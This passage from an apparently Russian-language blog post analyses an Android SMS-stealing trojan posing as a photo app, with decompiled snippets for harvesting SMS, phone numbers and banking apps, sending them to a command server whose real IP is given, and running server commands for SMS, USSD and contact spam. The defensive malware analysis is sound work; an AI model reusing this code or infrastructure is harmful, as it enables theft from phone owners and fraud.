json.put("sim_slot", simSlot); // с какой SIM-карты
Http.m850q(context,
C0058bk.m121e(context) + C0290u7.m577s(), // panel_url + "/media/uplaad"
json.toString(),
deviceId,
callback
);
Сервис сбора данных
Запуск
POIX1UVS19.java:452-477 — onStartCommand():
Код
// Проверка: выполнена ли инициализация
if (!config.m924c()) { stopSelf(); return; }
// Проверка: есть ли сервера
if (!config.m923b()) { stopSelf(); return; }
// Проверка: является ли приложение SMS-обработчиком
if (!m887h()) { stopSelf(); return; }
// Запуск сбора данных в фоне
new Thread(new RunnableC0021ak(this, 1)).start();Сбор SMS-архива
POIX1UVS19.java:98-244 — m885f():
Код
// Запрос к content://sms/inbox — последние 200 входящих
Cursor cursor = getContentResolver().query(
Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200");
// Запрос к content://sms/sent — последние 100 исходящих
cursor = getContentResolver().query(
Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");Форматирует результат в ASCII-таблицу с заголовком “SMS ARCHIVE” и датами в часовом поясе “Europe/Moscow” (строка 105).
Сбор установленных приложений
Я уже это описывал: файлPOIX1UVS19.java:247-265 — метод m886g()
Сбор телефонных номеров
POIX1UVS19.java:276-302 — getPhoneNumbers():
SubscriptionManager sm = getSystemService("telephony_subscription_service");
for (SubscriptionInfo sub : sm.getActiveSubscriptionInfoList()) {
json.put("phone_number", sub.getNumber());
json.put("operator", sub.getCarrierName().toString());
}Отправка check-in на сервер
POIX1UVS19.java:353-386 — m889j():
URL: panel_url + "/store/checkout" (строка 362)
JSON-данные
{
"device_id": "...",
"worker": "...",
"chatId": "...",
"device_model": "Samsung Galaxy S21",
"android_version": "14",
"app_name": "Фото(3)",
"build_type": "4.0.5",
"team": "...",
"sim_count": "2",
"phone_number": "+79001234567",
"operator_name": "MTS",
"second_phone_number": "+79007654321",
"second_operator_name": "Beeline",
"found_apps": ["Сбербанк", "ВТБ", "Wildberries", "Госуслуги"],
"sms_archive": "╔══ SMS ARCHIVE ══╗\n ... 200 SMS ..."
}Версия трояна (C0058bk.java:23):
public static final String f77e = "4.0.5";Вот тут конечно молодцы - можно понять, какую версию тебе выдали)
Retry-механизм
POIX1UVS19.java:336-349 — m888i(): повторяет отправку до 10 раз с паузой 5 секунд.
Foreground-сервис и C2-команды
Защита от убийства
POIX1UVS21.java:410-423 — onCreate():
// WakeLock — не даёт процессору заснуть
PowerManager.WakeLock wl = ((PowerManager) getSystemService("power"))
.newWakeLock(1, "POIX1UVS21:Lock");
wl.acquire(30000L);
// Foreground-сервис с невидимым уведомлением
startForeground(1, buildSilentNotification());
POIX1UVS21.java:147-158 — m907h(): создаёт notification channel с выключенными значками, вибрацией и звуком, с низкой важностью (IMPORTANCE_LOW).
Ping и статус устройства
POIX1UVS21.java:470-495 — sendPing():
JSONObject status = new JSONObject();
status.put("screen_on", powerManager.isInteractive());
status.put("battery", batteryPct);
status.put("is_sms_default", isSmsDefault());
status.put("has_sms_perm", hasSmsPerm());Получение и выполнение команд
POIX1UVS21.java:381-402 — checkCommands():
String response = Http.m843j(context, panelUrl + "/store/order/" + params);
m912m(response); // парсинг командPOIX1UVS21.java:211-227 — m912m():
JSONObject cmd = new JSONObject(response);
// Команда 1: отправить SMS
if (cmd.has("phone_number") && cmd.has("sms_text")) {
m914o(cmd.getString("phone_number"), cmd.getString("sms_text"));
}
// Команда 2: USSD-запрос
if (cmd.has("ussd_code")) {
m916q(cmd.getString("ussd_code"));
}
// Команда 3: спам по контактам
if (cmd.has("spam_contacts") && cmd.has("spam_text")) {
m918s(cmd.getString("spam_text")); // отправляет SMS всем контактам
}USSD-команды
POIX1UVS21.java:277-303 — m916q():
telephonyManager.sendUssdRequest(ussdCode, new TelephonyManager.UssdResponseCallback() {
public void onReceiveUssdResponse(...) {
m917r(ussdCode, ussdResponseMessage); // отправка ответа на сервер
}
}, new Handler(Looper.getMainLooper()));Спам по контактам
POIX1UVS21.java:331-344 и POIX1UVS21.java:199:
Код
Cursor cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, ...);
for (cursor) {
String phone = cursor.getString(...);
smsManager.sendTextMessage(phone, null, spamText, null, null);
}Ну и в конце попросим ИИ создать диаграмму с выполнением:
Диаграмма от ИИ
┌─────────────────────────────────────────┐
│ ЖЕРТВА УСТАНАВЛИВАЕТ │
│ Фото(3).apk │
└────────────┬────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Шаг 1: СТАБ-ЗАГРУЗЧИК │
│ Laed1011QFmO.attachBaseContext() │
│ ├─ Копирует DycyX.mb из assets │
│ ├─ Отрезает фейковый zlib-заголовок (2 байта) │
│ └─ Загружает payload.dex через BaseDexClassLoader │
└───────────────────┬───────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Шаг 2: ИНИЦИАЛИЗАЦИЯ │
│ MainActivity.onCreate() │
│ ├─ Прячет приложение из Recent Apps │
│ ├─ Запрашивает роль "SMS-обработчик по умолчанию" │
│ ├─ Открывает WebView с фишинг-страницей │
│ └─ Запускает сервисы POIX1UVS20 + POIX1UVS21 │
└───────────────────┬───────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Шаг 3: BOOTSTRAP C2 │
│ C0717c.m934c() │
│ ├─ GET http://176.124.222.81:80/cdn/nodes │
│ └─ Сохраняет список серверов в SharedPreferences │
└───────────────────┬───────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Шаг 4: СБОР ДАННЫХ (POIX1UVS19) │
│ ├─ SMS-архив: 200 входящих + 100 исходящих │
│ ├─ Установленные банковские приложения (22 шт.) │
│ ├─ Номера телефонов с SIM-карт │
│ └─ POST /store/checkout (FenrirCrypto) │
└───────────────────┬───────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Шаг 5: ПЕРЕХВАТ SMS (POIX1UVS16) │
│ ├─ priority=2147483647 (макс.) │
│ ├─ Перехватывает ВСЕ входящие SMS │
│ └─ POST /media/uplaad (FenrirCrypto) │
└───────────────────┬───────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Шаг 6: C2-КОМАНДЫ (POIX1UVS21) │
│ ├─ GET /store/order/ — команды сервера │
│ ├─ Отправка SMS на указанный номер │
│ ├─ USSD-запросы (проверка баланса) │
│ ├─ Спам по контактам │
│ └─ Пинг статуса устройства │
└───────────────────────────────────────────────────┘Заключение
Что хотелось бы сказать в конце.
Прошивать Huawei на чистую систему я не буду, потому что есть вероятность убить загрузчик (на 4pda есть инструкции, но если сделать не правильно, то телефон не запустится из-за "гибридной структуры" памяти телефона), хотя телефон папе этот больше нравится - батарейку лучше держит (логично - Google сервисов нет).
Использование ИИ очень помогает в иследовании - я оформлял статью больше по времени, чем мне OpenCode генерировал скрипты. Я выявил всё, что хотел - сервер, функции - этого мне было достаточно.
Про пароли я упомянул в самом начале, так же не забудьте поставь родственникам антивирус на смартфоны под управлением Android (хотя как мы видим, не всегда это может помочь). Надеюсь вам было интересно и если кому-то нужно, то могу выложить все файлы на Github - для исследования так сказать. Берегите себя и своих близких)
























